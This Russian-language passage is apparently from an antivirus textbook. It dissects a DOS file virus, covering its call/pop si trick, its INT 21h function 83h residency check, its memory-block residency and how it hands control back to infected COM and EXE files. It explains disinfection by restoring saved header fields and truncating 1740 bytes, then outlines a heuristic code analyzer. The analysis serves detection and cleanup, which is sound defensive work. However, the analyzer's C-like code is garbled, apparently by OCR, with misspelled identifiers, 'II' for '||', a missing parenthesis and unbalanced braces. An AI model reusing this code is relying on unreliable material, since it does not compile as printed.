Подобная последовательность символов характерна для очень многих вирусов. Команда call помещает в стек смещение следующей заней команды. Это значение извлекается вирусом при помощи команды pop si (в то время как обычно это делается командой ret) и помещается в регистр si. Скорректировав эту величину на длинукоманды call (3 байта), вирус получает возможность корректного обращения к ячейкам памяти относительно кодового сегмента: movcs:Data[si], хххх. Не случайно DrWeb всегда реагирует на подобные команды в начале программ, выдавая предупреждающее сообщение. Впрочем, это не является обязательным признаком присутствия вируса. Например, устаревшая пристыковочная защита от несанкционированного копирования (НСК) <Nota> также пользуется этим приемом.

б) Важным элементом алгоритма вируса является определение наличия собственного резидента в ОЗУ. Вызывая прерывание DOS с <секретной> функцией 83h, вирус ждет реакции системы. <Здоровая> система не среагирует на провокацию, а <больная> поместит в регистр dx число 1990h (год создания вируса?), чем и известит о наличии вируса в памяти. Вот соответствующийфрагмент вирусного обработчика прерывания INT 21h:



cmp ah,83h

je loc_9

loc_9:

mov dx, 1990h

iret



Наличие такой проверки использует антивирус-фаг во время детектирования вирусного кода в оперативной памяти. Также антивирус-блокировщик может имитировать присутствие вируса в памяти, предотвращая его внедрение в программное обеспечение компьютера.



в) В случае отсутствия вирусного обработчика INT 21h в памяти, вирус пытается установить его и остаться в памяти резидентно. Алгоритм резидентной записи кода вируса в память основанна прямой модификации заголовка блока памяти (МСВ). Подробное описание этого алгоритма и методов борьбы с вирусами, использующими подобный метод инсталляции, можно найти в одном из номеров журнала <Монитор> за 1993 г.

г) Установив свою резидентную копию в ОЗУ (или обнаружив наличие такой копии), вирус передает управление оригинальной программе. Изучение этого момента чрезвычайно важно для анализа. В процессе заражения (данный фрагмент из листинга удален) вирус считывает (в data_15) 24 байта начала программыи анализирует первые два байта из них. В зависимости от содержимого первого слова (<MZ> или нет), вирус выполняет заражение жертвы либо по СОМ-, либо по ЕХЕ-алгоритму,  дописывая фрагмент памяти со своим кодом к ее концу. Естественно, считанные 24 байта также дописываются в файл-жертву. Поэтому для определения способа передачи управления оригинальному коду программы вполне достаточно повторно сравнить сохраненный фрагмент начала с признаком <MZ>:

cmp  cs:data_15[si],5A4Dh

je      lt_Was_EXE



В случае если программа была заражена по СОМ-алгоритму, вирус просто извлекает первые 3 байта из ячейки памяти по адресу data_15, копирует их в старое начало оригинального кода (по адресу cs:100h) и передает туда управление. Адресу data_15 соответствует 80-ый (если считать от конца) байт зараженной программы. В случае если программа была заражена по ЕХЕ-алгоритму,  вирус вычисляет старую точку входа по сохраненным в data_20 и data_21 значениям полей ReloCS и ExeIP, восстанавливает расположение стека по сохраненным в data_18 и data_19 значениям полей ReloSSи ExeSP и передает управление на ReloCS+ES+10h:ExeIP (ES -сегмент PSP; ES+l0h - сегмент начала программы; ES+ReloCS+10h - полный сегмент точки входа). Расположение этих адресов в зараженном файле (от конца файла):

data_20 - 60

data_21 - 58

data_18 - 66

data_19 - 64



Еще могут пригодиться сохраненные значения полей PartPag и PageCnt (от конца файла):



data_16+1 - 78

data_16+3 - 76



Для излечения зараженного файла достаточно восстановить измененные значения ячеек, адреса которых только что вычислили,и отсечь 1740 вирусных байт от конца файла.



5. Еще несколько особенностей, с которыми иногда можно встретиться при дизассемблировании кода вируса и изучении листинга. Код вируса может быть зашифрован. В этом случае в начале вирусного кода должен располагаться расшифровщик. Вообще говоря, расшифровщиков может быть много, но первый всегда существует. Если расшифровщик меняется от одного зараженного файла к другому, значит имеем дело с полиморфным вирусом. Вырожденныйслучай - зашифровываются только сохраненные в теле вируса байты. Для СОМ-файла вполне достаточно пошагово пройти расшифровщик в отладчике, дождаться его завершения и сохранить на винчестер расшифрованный код вируса. Полученный файл можно дизассемблировать. Для ЕХЕ-файла такое не подходит, так как впамяти после загрузки отсутствует заголовок, и полученный файлне может быть дизассемблирован именно как ЕХЕ. Вероятно, придется писать специальную программу расшифровки на основе изу-ченного по листингу алгоритма расшифровщика. Расшифровщик может быть совмещен с алгоритмами, противодействующими трассировке кода вируса с использованием отладчиков. Ознакомиться с ними можно в специальной литературе, посвященной борьбе с НСК. Авторы вирусов, как правило, редко изобретают что-то новое и используют широко известные методы. Эвристические анализаторы кода Эвристическим анализатором кода называется набор подпрограмм, анализирующих код исполняемых файлов, памяти или загрузочных секторов для обнаружения в нем разных типов компьютерных вирусов. Рассмотрим универсальную схему такого кодо анализатора. Действуя в соответствии с этой схемой, кодоанализатор способен максимально эффективно задействовать всю информацию, собранную для тестируемого объекта. Основные термины: Событие - это совокупность кода или вызов определенной функции операционной системы, направленные на преобразование системных данных, работу , с файлами или часто используемые вирусные конструкции. Цепочка связных событий - это набор событий, которые должны быть выявлены в порядке их следования. Цепочка несвязных событий - это набор событий, которые должны быть выявлены, но не обязательно в строгом порядке. Действия - набор цепочек связных или несвязных событий, для которых выполнены все условия. Эвристическая маска - набор действий, выявленных при проверке файла.Эвристическое число - порядковый номер первой из совпавших эвристических масок. События распознаются при помощи подпрограмм выявления событий, в которых могут использоваться также таблицы с данными. Остальные данные просто хранятся в массивах и не анализируются. Рассмотрим функциональную схему эвристического анализатора Эмулятор кода работает в режиме просмотра, то есть его основная задача - не эмулировать код, а выявлять в нем всевозможные события. События сохраняются в таблице событий по алгоритму:

if (Events[EventNumber]= =0) Events[EventNumber]=++CountEvents;



где: Events - массив событий;

EventNumber - номер регистрируемого события;

CountEvents - порядковый номер зарегистрированного события.









Таким образом, в ячейку массива Events записывается порядковый номер для выявленного события. CountEvents при инициализации равен 0. После того, как эмулятор завершит свою работу, последовательно запускаются два преобразователя. Первый преобразователь заполняет массив действия, выбирая данные из массива событий и цепочек связных и несвязных событий по следующему алгоритму:





for(i=0;i<CountMaskEvrnrs;i++) {

if (MaskEvents[i][0]= =0) {

for(j=2;j<MaskEvents[i][1];j++{

if(Events[MaskEvents[i][j]]= =0) goto nextMask;

}

else

for(e=0, j=2;j<MaskEvenfs[l][1];j++) {

if(Events[MaskEvents[i][j]]==0 II Events[MaskEvents[i][j]]<e)

goto nextMask;

else e=Events[MaskEyents[i][j]];

}

Actions[i]=1;

nextMask:;

}

где: CountMaskEvents - число масок цепочек событий;

MaskEvents - двумерный массив цепочек связных и несвязных событий;

Actions - массив действия.



Затем выполняется второй преобразователь, который выбирает данные из массива действия и цепочек эвристических масок и вычисляет эвристическое число по следующему алгоритму:



for(i=0;i<CountMaskHeurist;i++) {

for(j=1;j<MaskHeurist[i][0];j++)

if(Actions[MaskHeurist[i][j]]= =0)   goto nextMask1;

NumberHeurist=i+1;

break;

nextMask1:

}

где: CountMaskHeurist - число эвристических масок;

MaskHeurist - двумерный массив с эвристическими масками;

NumberHeurist - эвристическое число.